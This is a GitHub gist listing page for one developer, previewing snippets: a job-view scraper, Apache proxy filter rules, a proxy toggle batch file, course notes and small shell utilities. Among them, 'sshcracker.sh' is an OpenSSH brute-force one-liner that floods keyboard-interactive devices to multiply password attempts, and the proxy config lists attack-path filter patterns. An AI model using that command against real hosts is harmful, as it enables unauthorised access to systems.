Skip to content

Instantly share code, notes, and snippets.

View miglen's full-sized avatar
👨‍💻

Miglen Evlogiev miglen

👨‍💻
View GitHub Profile
@miglen
miglen / jobsbg.py
Created August 26, 2015 07:25
Jobsbg viewcount
from BeautifulSoup import BeautifulSoup
import urllib2
import math
import re
# coding: utf-8
"""
Get job views from company postings in jobs.bg
"""
@miglen
miglen / sshcracker.sh
Last active August 29, 2015 14:25
OpenSSH brute forcer
#!/bin/bash
# usage ./sshcracker.sh ssh-username ssh-host wordlist.file
#
ssh -l$1 -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` $2
@miglen
miglen / httpd-proxy.conf
Created July 15, 2015 13:02
Web proxy filters and rewrites
# Source: http://whatever.truls.org/proxyfilters.text.shtml
RewriteEngine On
RewriteOptions inherit
RewriteLogLevel 5
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)rewritefiltertest(\x20*)any(.*) [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)rewritefiltertest(\x20*)end[$|\?(.*)] [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} (.*)XXXXXXXXXXXXXXXXXXXXXXXXX(.*) [NC,OR]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} ^(.*/)?(\x20*)winnt/(\x20*)system32/(.*) [NC,OR]
@miglen
miglen / postbank.location.js
Created April 22, 2015 07:12
postbank.location.js
/*
Този скрипт е пълен с едни от най-забавните коментари на български.
Разработен е от някой от разработчиците на Iliyan.com за Пощенска банка.
Пазя го за да се смеем ако го променят в сайта.
Оригинална локация: https://www.postbank.bg/Applications/Locations/_inc/js/locations.js
*/
@miglen
miglen / CSCB411 - Операционни системи (Linux).md
Last active June 13, 2017 10:57
CSCB411 - Операционни системи (Linux)

Кой сървър предоставя DNS service?

  • BIND

В кой домейн се описват зоните за обратно търсене

  • in-addr.arpa

Primary DNS сървърите

Съхраняват образец на файла със зоната. Този файл може да бъде променян на компютъра, където е инсталиран.

Какво описват CNAME записите в DNS зоната?

Libraries

  • jQuery - The de-facto library for the modern age. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
  • Backbone - Backbone.js gives structure to web applications by providing models with key-value binding and custom events, collections with a rich API of enumerable functions, views with declarative event handling, and connects it all to your existing API over a RESTful JSON interface.
  • AngularJS - Conventions based MVC framework for HTML5 apps.
  • Underscore - Underscore is a utility-belt library for JavaScript that provides a lot of the functional programming support that you would expect in Prototype.js (or Ruby), but without extending any of the built-in JavaScript objects.
  • lawnchair - Key/value store adapter for indexdb, localStorage

Libraries

  • 960 Grid System - An effort to streamline web development workflow by providing commonly used dimensions, based on a width of 960 pixels. There are two variants: 12 and 16 columns, which can be used separately or in tandem.
  • Compass - Open source CSS Authoring Framework.
  • Bootstrap - Sleek, intuitive, and powerful mobile first front-end framework for faster and easier web development.
  • Font Awesome - The iconic font designed for Bootstrap.
  • Zurb Foundation - Framework for writing responsive web sites.
  • SASS - CSS extension language which allows variables, mixins and rules nesting.
  • Skeleton - Boilerplate for responsive, mobile-friendly development.

Guides

@miglen
miglen / proxy.bat
Created October 3, 2014 09:47
This is simple script which is using the Windows registry files to modify (disable/enable) the HP (or any other given) proxy. I find it annoying whenever I need to disable my proxy to go to my Internet settings and click like 10 times.
@echo off
rem HP Proxy switch on/off
rem Author: Miglen Evlogiev <[email protected]>
rem Date: 3/10/2014
rem Version: 0.1
setlocal ENABLEEXTENSIONS
set KEY_NAME=HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
set VALUE_NAME=AutoConfigURL
#!/bin/bash
#
# @description Script used to switch between prefork and worker mpm
# @author Miglen Evlogiev <[email protected]>
# @version 0.1
# @date 3/9/14 18:03 PM CET
# @usage apachempm.sh <mpm_method> or status
# <mpm_method> = worker or prefork
# you may add it to your .bash_profile as alias apachempm="/path/to/apachempm.sh"
#
@miglen
miglen / multitail.sh
Created December 18, 2013 14:36
Multi tail script
#!/bin/sh
# When this exits, exit all back ground process also.
trap 'kill $(jobs -p)' EXIT
# iterate through the each given file names,
for file in "$@"
do
# show tails of each in background.
tail -f $file &